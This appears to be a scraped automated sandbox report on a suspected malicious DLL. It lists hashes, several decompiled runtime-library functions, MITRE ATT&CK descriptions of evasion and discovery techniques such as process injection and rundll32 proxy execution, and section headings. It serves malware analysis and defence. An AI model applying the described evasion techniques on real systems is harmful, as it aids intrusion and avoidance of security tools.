String ID:
API String ID: 1640353255-0
Opcode ID: 48c7fd9ea8e6a4d6a039ac71b7e9bfce48eb9a60e313b474323f004634a1046c
Instruction ID: fff7dc6af79bbaaf29e2f13452ac5b708e28430b54e2bbc6c219701867e6a3f6
Opcode Fuzzy Hash: 48c7fd9ea8e6a4d6a039ac71b7e9bfce48eb9a60e313b474323f004634a1046c
Instruction Fuzzy Hash: 9511CE728082299BCF10FBA8DC40AFD7770EF44728F170518F620AB280EB719A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1D32, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6DCF1D32(void* __ecx, intOrPtr _a4) {
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				if(SetThreadAffinityMask(_t13, 1) != 0) {
					SetThreadPriority(_t13, 0xffffffff);
				}
				_t4 = E6DCF17A7(_a4);
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x6dcf1d3b
0x6dcf1d4e
0x6dcf1d53
0x6dcf1d53
0x6dcf1d59
0x6dcf1d5e
0x6dcf1d62
0x6dcf1d66
0x6dcf1d66
0x6dcf1d70
0x6dcf1d79

APIs

GetCurrentThread.KERNEL32 ref: 6DCF1D35
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 6DCF1D40
SetThreadPriority.KERNEL32(00000000,000000FF), ref: 6DCF1D53
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 6DCF1D66

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: cff715ce9eab44f64732119dfc96128590b4b63c09c823cd9ec1aac20cb8fb17
Instruction ID: e5cc97ed8d16d48e4e5ecb9707aac20d5c5533d5479bc4bb381cf27eac60e87f
Opcode Fuzzy Hash: cff715ce9eab44f64732119dfc96128590b4b63c09c823cd9ec1aac20cb8fb17
Instruction Fuzzy Hash: 30E06D7130931D3B97422A2D5C88FEB6BBCDF922317020226F624D21D0EB648806C9A6

Uniqueness

Uniqueness Score: -1.00%

Function 6DD560ED, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6DD5617D

Strings

pow, xrefs: 6DD56155, 6DD56172

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 797fcbe22809a4a4b2d67a40e38bcc6bf40d5765dd2904c1835cb0c2e541f16e
Instruction ID: c5bf7ec72d20f539c9d346d08affe32efaa6d7f408040965a8f217b4cb7b3547
Opcode Fuzzy Hash: 797fcbe22809a4a4b2d67a40e38bcc6bf40d5765dd2904c1835cb0c2e541f16e
Instruction Fuzzy Hash: 33513A61E6D14BF7EF027B14C90077E3BB4AB41745F208D58F0D14269AEB7588A4CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6DBAF, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,6DD6DE50,?,00000050,?,?,?,?,?), ref: 6DD6DC8A

Strings

ACP, xrefs: 6DD6DBCD
OCP, xrefs: 6DD6DC03

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: db0e81ee76291aca5e19c16fba017b278ae7fe5c305d0545a406291c5f57c757
Instruction ID: 717b800486c0ec0f13fd3cbe190a7d9d74d0a833ddf710d6fb504be4f22ed09f
Opcode Fuzzy Hash: db0e81ee76291aca5e19c16fba017b278ae7fe5c305d0545a406291c5f57c757
Instruction Fuzzy Hash: 6321C762A4418AE7E724EF29ED00B9773B6ABC8B60F638424F945D7109E772D940C3F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1407D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 6DD140AF
_strlen.LIBCMT ref: 6DD140C6

Strings

[json.exception., xrefs: 6DD1409F, 6DD140A7, 6DD140C5, 6DD140CD

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: _strlen
String ID: [json.exception.
API String ID: 4218353326-791563284
Opcode ID: 8d4e5fffb5fd8276c26d659cdb953bb2d25c41d66b33b5802bbbc96a4734de1c
Instruction ID: 931150d0b8b43dcd8365d4d2914347e06da7bb2cf36340f5ad6f752099988bc7
Opcode Fuzzy Hash: 8d4e5fffb5fd8276c26d659cdb953bb2d25c41d66b33b5802bbbc96a4734de1c
Instruction Fuzzy Hash: 79F090B0608215AFCB05AF78DC406BEB6E9FF85318F46011AF119D7341CBB4594087B1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD64B79, Relevance: 5.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 6DD64C0F
GetLastError.KERNEL32 ref: 6DD64C1D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 6DD64C78

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 29809b839f518be2d86a77508c372ad26e632a6fc7a16cd3b373baf25ac0dc4b
Instruction ID: 80ddb88a6c08ef097d1d0ef4a127265c7857175823de44f55bbc4d7f4d18ee6e
Opcode Fuzzy Hash: 29809b839f518be2d86a77508c372ad26e632a6fc7a16cd3b373baf25ac0dc4b
Instruction Fuzzy Hash: 21411434608297EFDB11AF69CC64BBA7BB4AF0A324F128159F95957291DB318811C7F0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report kS5hYPcgm8.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 2212 Parent PID: 5620

General

Analysis Process: cmd.exe PID: 4356 Parent PID: 2212

General

Analysis Process: rundll32.exe PID: 1140 Parent PID: 2212

General